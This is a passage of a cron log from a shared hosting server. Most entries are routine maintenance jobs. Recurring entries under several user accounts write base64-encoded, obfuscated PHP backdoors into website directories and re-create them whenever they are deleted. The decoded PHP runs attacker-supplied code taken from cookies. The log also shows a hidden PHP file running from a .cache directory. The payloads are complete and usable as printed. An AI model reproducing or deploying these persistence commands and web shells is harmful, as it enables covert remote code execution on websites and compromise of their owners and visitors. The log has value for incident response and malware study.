3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:25:01 medusa CROND[21354]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:25:01 medusa CROND[21360]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:25:02 medusa CROND[21371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:25:02 medusa CROND[21372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:25:02 medusa CROND[21373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:25:02 medusa CROND[21374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:25:02 medusa CROND[21375]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:25:02 medusa CROND[21376]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:25:02 medusa CROND[21378]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:25:02 medusa CROND[21379]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:25:02 medusa CROND[21384]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:25:02 medusa CROND[21386]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21394]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21395]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21396]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:25:02 medusa CROND[21397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:25:02 medusa CROND[21398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21400]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:25:02 medusa CROND[21388]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Jun  7 12:25:02 medusa CROND[21401]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:25:02 medusa CROND[21415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:26:01 medusa CROND[23090]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:26:01 medusa CROND[23096]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:26:01 medusa CROND[23097]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:26:01 medusa CROND[23098]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:26:01 medusa CROND[23099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:26:01 medusa CROND[23100]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:26:01 medusa CROND[23101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:26:01 medusa CROND[23102]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:26:01 medusa CROND[23103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:26:01 medusa CROND[23106]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:26:01 medusa CROND[23105]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:26:01 medusa CROND[23107]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:26:01 medusa CROND[23114]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:26:01 medusa CROND[23118]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:27:01 medusa CROND[24669]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:27:01 medusa CROND[24671]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICA